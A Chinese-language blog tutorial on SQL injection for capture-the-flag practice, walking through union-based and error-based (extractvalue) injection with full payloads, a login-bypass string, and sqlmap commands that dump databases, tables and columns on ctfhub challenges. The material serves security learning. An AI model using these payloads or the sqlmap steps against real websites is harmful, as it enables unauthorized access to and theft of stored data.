SQL注入
1.类型
温馨提示:在了解SQL注入之前,我们要先了解sql注入有哪些类型。这样我们才能进行对应的注入,而不是不管有的没的就把知道的全往里注,浪费时间。
sql注入有5种基本类型:
①整型注入
②字符型注入
③报错注入
分割线以上的都有回显,以下的都没有回显或者少回显(所以又称为盲注),相比有回显注入来说,盲注虽然原理类似也可以进行手注但是工作量巨大且繁琐,所以这个工作还是交给工具来完成吧,这里介绍sqlmap。 ps:sqlmap也可以用于上面的注入用sqlmap是没有灵魂的
④布尔注入(不是完全没有回显,只会返回正确和错误)
⑤时间注入(完全没有回显)
2.注入流程
①判断字符闭合(查看注入点
首先了解注入点类型:
数字型:
select * from tabname where id = 1
字符型:
select * from tabname where id = '1'
搜索型:(这种类型比较少见)
select * from tabname where id like '%1%'
注入: 1' 这里一般都报错,如果不报错不存在注入点
注入: 1' # 上一步报错,这一步不报错说明是字符;上一步报错,这一步还是报错说明是整型 (#或者--都用于注释)
也可以通过burpsuite抓包重发看到哪种类型
不管是哪一种类型的注入,都是建立在整型闭合或者字符型闭合的基础上的,所以要先判断好是哪一种字符闭合,然后才能在这个基础上进行下面的步骤
②万能密码进入(没有登录界面可以跳过
账号:1 or 1=1 或者 1' or '1=1'#
密码:只要上面对了,密码随便输,结果永真
③判断字段数
利用 order by 语句判断当前这个输入框所用的表格共有的字段数,这个语句在sql里面的意思是排序 ,order by 要排序的字段(如果不写具体的字段名,1,2,3就表示第一列第二列第三列以此类推) 后面还可以加上升序排序或者降序排序,不写默认就是升序排序,我们目的是为了判断字段数,所以默认就可以了
如果是整型注入
注入: 1 order by i i从1开始往后加直到报错,记录下报错时的i大小,字段数为i-1
如果是字符型注入
注入: 1' order by i # 注意:这个用于注释掉后面隐藏 ' 的#号不要漏掉,不然无法得出正确的结果,i从1开始往后面加直到报错,记录下报错时的i大小,字段数为i-1
④查看回显点(就是字面意思,返回显示的点
这里开始我们要用到union select联合查询,union的要求比较严苛,要求两边的select查询的字段数要相同,并且数据类型也要一直,下面看例子
例如:select a,b,c from xxx where xxx union select d,e from xxx where xxx 这样就会报错,因为前一个select语句查询了三个字段,分别是a,b,c而后面的select查询了两个字段d,e,这不符合我前面说的要求。所以我们要让两边一致,select a,b,c from xxx where xxx union select d,e,f from xxx where xxx 这样就不会报错了
所以如果前面的语句是select * 啥啥啥的,那么后面的字段数就等于表的总字段数,也就是我们是试出来的字段数,所以我们得试前面出是什么union select 1 ,2,...,i-1 这里的i就是上文查出的字段数的i
如果这样报错我们就再一个个来,如union select 1 然后再试union select 1,2
返回显示的数字就是回显点存在的点,比如说 union select 1,2,3 屏幕中有回显2 3就说明,1不回显,可以在2,3的位置进行注入回显如 union select 1,2,database() 或者 union select 1,database(),3 这里的database()后面会讲是什么意思不用纠结,其他的注入语句也可以放在这些有回显点的位置,当然放在没有回显点的地方也不会报错,但是没有意义,你都看不到你放那里干嘛😅
③和④是可以合并到一步来试的。
⑤爆数据库 (用人话说就是看看有哪些数据库
database()语句,作用:返回当前数据库的名称,如果没有当前数据库,则Database函数返回NULL。 user()当前用户,version()当前版本
像我上面说的一样放在在回显点位置,以下的操作都是要放在回显点位置的,我就不每次都说了,例如 union select 1,2,database() 或者 union select 1,database(),3
把回显的结果记录下来,下面要用,我这里称为目标数据库
⑥爆表 (用人话说就是看看有哪些表
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = '目标数据库' 或者 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = '目标数据库' 这里的目标数据库其实也可以用上面的database()来代替的
然后记录下回显出来的表明,我这里称为目标表
group_concat(xxx)用于把xxx连在一起显示
下面的图片是我懒得动手去跑了,从别的博主偷来的😁(别打我)
select id,price from goods;
select id, group_concat(price) from goods group by id;
还可以把加上distinct把相同的元素去掉
select id,group_concat(distinct price) from goods group by id;
这样可以把我们想要的东西简洁的显示出来,当然也可以不用group_concat(),但是建议养成用的习惯,有的题目不用这个函数显示不全
information_schema.tables,information_schema是数据库系统自动生成的数据库,里面很多表如tables,columns等,其中tables表里面有所有表的名称。
xxx.abc在sql里面表示的是xxx里面的abc资源或数据。
table_schema指的是表对应的数据库
⑦爆字段 (列名)(用人话说就是看看我想看的那个表里面有哪些字段
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = '目标表' 或者 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name = '目标表' 这里的database() 换成上面的目标库名也是可以的
记录下来字段名,我这里称为目标字段
⑧查看字段内容
union select 1,2,group_concat(目标字段) from 目标表
3.例子
1.字符注入
以ctfhub里面的字符型注入为例
为了方便我们理解,题目用红色给出了我们输入的语句,但是很多题目是没有的,所以不要过度依赖它
①判断闭合类型
输入:1'
回显错误
输入:1'#
回显正常,说明是字符型注入
②判断字段数
在前面正确类型的成功字符基础上,输入order by i
这里是字符型所以输入:1'......#
,如果为整型,输入:1 .....
输入:1' order by 1#
然后i依次增加直到报错
所以我们可以知道字段数为3-1=2,字段数为2
③回显点
这里有个很重要的点,就是我们要让前面成功的数据变成错误的,不然他会占用我们的回显点,导致我们看不出回显点在哪里,还有,别忘了#号
错误例子:输入:1' union select 1,2#
由于 1' 就相当于登录到里面去了,数据库会回显id=1的数据,所以应该如下输入
输入:(由于
,例如,输入:目的是报错
,这里面乱输甚至不输入都可以,提示:id的值一般是大于0的数)' union select 1,2#' union select 1,2#
这里就看出来回显点1,2两个都有
④爆数据库
输入:' union select 1,database()#
也可以换成输入:' union select database(),2#
⑤爆表
输入:' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sqli'#
我这里都是放在回显点2位置了,个人习惯放在后面,从回显看出有两个表,一个是flag一个是news,显然我们想要的是flag
⑥爆字段
输入:' union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'flag'#
得到字段名为flag
⑦查看字段内容
输入:' union select 1,group_concat(flag) from flag#
这样就得到我们要到flag了
整型注入和字符型注入基本跟上面是一模一样的,不同题目会有点区别,其他的注入都是建立在这个基础之上的。
2.报错注入
报错注入的报错回显会根据你输入的内容进行相应的改变,而布尔注入只返回正确和错误
以ctfhub的报错注入为例
为了方便我直接贴图,id=
后面的部分就是我输入的代码
①判断闭合类型
都报错说明是整型注入
②判断字段数
③回显点
报错注入只能靠报错回显,所以这两步不需要
④爆数据库
输入:1 and extractvalue(1,concat(0x7e,database(),0x7e))
extractvalue(xml_document,Xpath_string)
简单来说extractvalue(a,b)
a是string格式的xml文档对象的名称,b是xpath格式的字符串
payload(注入格式):1 and extractvalue("anything",concat('~',(sql注入语句)))
像database()这种短的语句可以不包一层括号,select这种长的一定要包一层括号
0x7e是 '~' 字符的十六进制,所以当然我们也可以吧代码换成1 and extractvalue(1,concat('~',database(),'~'))
concat(a,b)功能是把a和b接在一起相当于concat(a,b)=ab,类似于group_concat()
⑤爆表
输入:1 and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema =database())))
需要注意的是,select外面要有一层括号,参考payload
⑥爆字段
输入:1 and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name = 'flag')))
⑦查看字段内容
方法一:
输入:1 and extractvalue(1,concat('~',(select group_concat(flag)from flag)))
看到flag在中间被截断了,判断是回显字长有限制
我们用一下mid()函数,mid(column_name,start,length)有三个参数,column_name是我们要提取字符的字段,start是开始位置(起始位置是1),length是要返回的字符数(可以省略,省略的意思是从start位置开始一直返回到结尾)
输入:1 and extractvalue(1,concat('~',mid((select group_concat(flag)from flag),1,16)))
注意select是长语句,要用括号包起来
输入:1 and extractvalue(1,concat('~',mid((select group_concat(flag)from flag),16)))
方法二:
我的理解是因为extractvalue(a,b)函数是从b的第一个非字母或者数字的符号c开始返回,会把b字符串中c前面的丢弃,这也就是我们要用concat()函数,把一个特殊符号(不止是~,#等特殊符号应该都可以)加到我们要查询的语句前面的原因,所以可以用这种方法看看能不能刚好再返回长度限度内把flag返回了
输入:1 and extractvalue(1,(select group_concat(flag)from flag))
刚好能直接返回flag,但是把flag的头ctfhub给丢弃了,如果没有前面的步骤,头还得靠猜,所以这种方法只是拓宽一下思路,平时做题的时候还是该干嘛干嘛
sqlmap
说完手注,说说用sqlmap的使用
sqlmap是超级无敌惊天地泣鬼神的强大的工具,所以网络上介绍他的文章已经很多了,我就不说了,有兴趣的可以看看——sqlmap的介绍
还是以ctfhub的题目为例,这次就用sql注入的布尔盲注为例子
我用的是windows的shell进到sqlmap文件里面去,payload:python sqlmap.py -u url/?id=1 -dbs
获取数据库,这里的url是一个具体的链接,不是'url'字符串,要把id=1也传到里面去,因为要包含注入点
kali里面自带sqlmap,可以直接使用,可以用 sqlmap -hh |less 查看具体帮助文档
跑起来后会出现四个问题:(如果你不想要他问你,你可以加--batch 让他自己判断自己来)
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 建议输入Y(不区分大小写的)
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 建议输入n ,我的理解是这个风险等级越高,就越容易对扫描对象造成损害
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] GET参数'id'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 建议输入"Y"
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] 你想要sqlmap尝试优化DBMS延迟响应的值(选项'——time-sec')吗? [Y/n]这里建议y,允许更改响应时间,默认时间为1秒
扫出来4个数据库
接着payload:python sqlmap.py -u url/?id=1 -D sqli -tables
获取sqli库里的表
接着payload:python sqlmap.py -u url/?id=1 -D sqli -T flag -columns -nump
获取flag表里的字段,并且打印
我前面所提到过的题目都可以用sqlmap解决,但是初学者不要过度依赖sqlmap,也有很多题目是不能使用sqlmap的。用sqlmap没有前途的🤐
——由于篇幅有限,等我下次啥时候闲着了再讲讲盲注
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义